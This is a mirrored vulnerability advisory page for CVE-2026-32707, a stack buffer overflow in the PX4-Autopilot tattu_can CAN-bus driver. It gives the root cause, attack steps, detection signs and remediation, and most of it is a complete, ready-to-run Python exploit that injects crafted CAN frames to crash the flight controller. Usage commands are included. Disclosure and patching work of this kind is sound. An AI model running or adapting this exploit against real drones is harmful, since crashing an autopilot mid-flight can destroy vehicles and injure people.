High CVE-2026-32707 (GHSA-wxwm-xmx9-hr32, CWE-121) patched

PX4-Autopilot tattu_can Driver — CAN Bus Stack Buffer Overflow DoS (CVE-2026-32707)

by Mohammed Idrees Banyamer (mbanyamer / @banyamer_security) · 2026-07-05

CVSS 7.5/10

Severity: High
CVE: CVE-2026-32707 (GHSA-wxwm-xmx9-hr32, CWE-121)
Category: hardware
Affected product: PX4-Autopilot flight controller firmware, tattu_can driver
Affected versions: <= 1.17.0-rc1 (fixed in 1.17.0-rc2, commit 3f04b7a)
Disclosed: 2026-07-05
Patch status: patched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-05
Author / Researcher	Mohammed Idrees Banyamer (mbanyamer / @banyamer_security)
CVE / Advisory	CVE-2026-32707 (GHSA-wxwm-xmx9-hr32, CWE-121)
Category	hardware
Severity	High
CVSS Score	7.5 (High, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Status	PoC
Tags	px4, autopilot, can-bus, socketcan, stack-buffer-overflow, drone, uav, denial-of-service
Related	N/A

Affected Target

Field	Value
Software / System	PX4-Autopilot flight controller firmware, `tattu_can` driver
Versions Affected	<= 1.17.0-rc1 (fixed in 1.17.0-rc2, commit `3f04b7a`)
Language / Platform	Python 3 (`python-can`) targeting a Linux SocketCAN interface (physical `can0` or virtual `vcan0`)
Authentication Required	No (any node able to inject frames on the shared CAN bus)
Network Access Required	No (physical/CAN bus access required, not IP network)

Summary

The tattu_can driver in PX4-Autopilot reassembles multi-frame Tattu12SBatteryMessage telemetry from the battery’s CAN bus into a fixed 48-byte stack buffer, but performs the per-frame memcpy() without checking the cumulative write offset against the buffer size. An attacker able to inject frames onto the same CAN bus — such as a rogue node, a compromised peripheral, or physical bus access — can send a start-of-transfer frame followed by a sequence of oversized continuation frames to drive the offset past the buffer boundary, corrupting the stack and crashing the PX4 process. The included PoC is a python-can script that emits the exact frame sequence (marked start frame + overflow frames) needed to trigger the crash on a real or virtual CAN interface.

Vulnerability Details

Root Cause

tattu_can’s frame-reassembly loop copies payload_size = DLC - 1 bytes per CAN frame into a stack-resident tattu_message buffer without bounds-checking the running offset against sizeof(tattu_message) (48 bytes), allowing an attacker-controlled sequence of frames to overflow the buffer.

Attack Vector

Send a start-of-transfer CAN frame (DLC=8, last byte 0x80) that causes the driver to begin assembling a new Tattu12SBatteryMessage and copy the first 5 bytes into the stack buffer.
Send seven subsequent overflow frames (DLC=8), each contributing 7 bytes via memcpy at the current offset, driving the cumulative offset past the 48-byte buffer size.
Send a final trigger frame whose memcpy writes past the buffer boundary, corrupting adjacent stack memory.
Observe the PX4 process crash (segfault/hard fault) — a denial of service on the flight controller.

Impact

An attacker with CAN bus access to a PX4-based vehicle can reliably crash the autopilot process, causing loss of flight-critical control (denial of service) on a real drone/UAV.

Environment / Lab Setup

Target:   PX4-Autopilot <= 1.17.0-rc1 with tattu_can driver enabled, running on Linux with SocketCAN (physical can0 or virtual vcan0)
Attacker: Python 3 + python-can, root/CAP_NET_RAW to send raw CAN frames

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
sudo ip link add dev vcan0 type vcan && sudo ip link set up vcan0
sudo python3 exploit.py vcan0

The script sends the crafted start-of-transfer frame followed by the sequence of overflow frames on the given CAN interface, driving the tattu_can reassembly buffer past its bounds and crashing the target PX4 process.

Detection & Indicators of Compromise

Signs of compromise:

PX4 autopilot process crashing or restarting unexpectedly mid-flight or on the bench.
CAN bus traffic showing repeated frames matching the start/overflow pattern from an unexpected sender.
Loss of telemetry/control correlated with tattu_can driver activity in flight logs.

Remediation

Action	Detail
Primary fix	Update to PX4-Autopilot >= 1.17.0-rc2, which adds an offset/size bounds check before each `memcpy` (commit `3f04b7a`)
Interim mitigation	Disable the `tattu_can` driver if not required (`tattu_can stop` or remove from build), and restrict physical/logical access to the vehicle’s CAN bus

References

Source repository

Notes

Mirrored from https://github.com/mbanyamer/CVE-2026-32707-PX4-Autopilot-tattu_can-Stack-Buffer-Overflow-DoS- on 2026-07-05. The repo URL/name provided in the source batch was truncated/garbled (“mbanyamer/CVE-2026-32707-PX4-…”) and was resolved via GitHub search to the actual repository name above.

exploit.py

python raw GitHub ↓ Download

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
# Exploit Title: PX4-Autopilot tattu_can Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32707
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
#   Affected: versions <= 1.17.0-rc1 (tattu_can driver)
# Tested on: Ubuntu 22.04 / PX4 SITL with vcan0
# Category: Denial of Service (DoS)
# Platform: Linux (SocketCAN)
# Exploit Type: Stack Overflow
# CVSS: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
# CWE: CWE-121 (Stack-based Buffer Overflow)
# Description: The tattu_can driver in PX4-Autopilot versions <=1.17.0-rc1
#   performs an unbounded memcpy when reassembling multi‑frame CAN messages,
#   allowing an attacker with CAN bus access to corrupt the stack and crash
#   the autopilot.
# Fixed in: commit 3f04b7a (PX4-Autopilot 1.17.0-rc2)
# Usage:
#   python3 exploit.py <can_interface>
# Examples:
#   python3 exploit.py vcan0
#   python3 exploit.py can0
# Options:
#   <can_interface>  - name of the CAN network interface (e.g., vcan0, can0)
# Notes:
#   - Requires python-can library: pip install python-can
#   - Run with root privileges (CAP_NET_RAW)
#   - The target must have tattu_can started (e.g., 'tattu_can start')
# How to Use
# Step 1: Install python-can: pip install python-can
# Step 2: Create virtual CAN if needed: sudo ip link add dev vcan0 type vcan && sudo ip link set up vcan0
# Step 3: Run: sudo python3 exploit.py vcan0

print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                            ║
║   ██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗                     ║
║   ██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗                    ║
║   ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝                    ║
║   ██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗                    ║
║   ██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║                    ║
║   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝                    ║
║                                                                                            ║
║                         [ b a n y a m e r _ s e c u r i t y ]                              ║
║                                                                                            ║
║                  ▸ Silent Hunter  |  Shadow Presence  |  Digital Intel ◂                  ║
║                                                                                            ║
║   Operator : Mohammed Idrees Banyamer  •  Jordan 🇯🇴                                       ║
║   Handle   : @banyamer_security                                                           ║
║                                                                                            ║
║   Exploit  : CVE-2026-32707                                                               ║
║   Target   : PX4-Autopilot • tattu_can driver • CAN bus                                    ║
║                                                                                            ║
║   Status   : ACTIVE                                                                       ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")

import sys
import can
import time

TAIL_BYTE_START_OF_TRANSFER = 0x80
TATTLES_STRUCT_SIZE = 48
START_OFFSET = 5
OVERFLOW_DLC = 8
CAN_ID = 0x123

def main():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <can_interface>")
        sys.exit(1)
    iface = sys.argv[1]
    try:
        bus = can.interface.Bus(channel=iface, bustype='socketcan', fd=False)
    except Exception as e:
        print(f"Failed to open CAN interface {iface}: {e}")
        sys.exit(1)
    print(f"[*] Sending start-of-transfer frame on {iface} (can_id=0x{CAN_ID:08X})")
    start_frame = can.Message(
        arbitration_id=CAN_ID | can.CAN_EFF_FLAG,
        data=[0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, TAIL_BYTE_START_OF_TRANSFER],
        is_extended_id=True,
        dlc=8
    )
    bus.send(start_frame)
    print(f"[*] Sending 7 overflow frames (each copies {OVERFLOW_DLC - 1} bytes)...")
    for i in range(7):
        payload = [ord('A') + (i % 26)] * OVERFLOW_DLC
        frame = can.Message(
            arbitration_id=CAN_ID | can.CAN_EFF_FLAG,
            data=payload,
            is_extended_id=True,
            dlc=OVERFLOW_DLC
        )
        bus.send(frame)
        time.sleep(0.01)
    final_payload = [0x42] * OVERFLOW_DLC
    final_frame = can.Message(
        arbitration_id=CAN_ID | can.CAN_EFF_FLAG,
        data=final_payload,
        is_extended_id=True,
        dlc=OVERFLOW_DLC
    )
    print("[*] Sending final overflow frame...")
    bus.send(final_frame)
    print("[+] Attack sequence completed. The PX4 tattu_can driver should now crash.")
    bus.shutdown()

if __name__ == "__main__":
    main()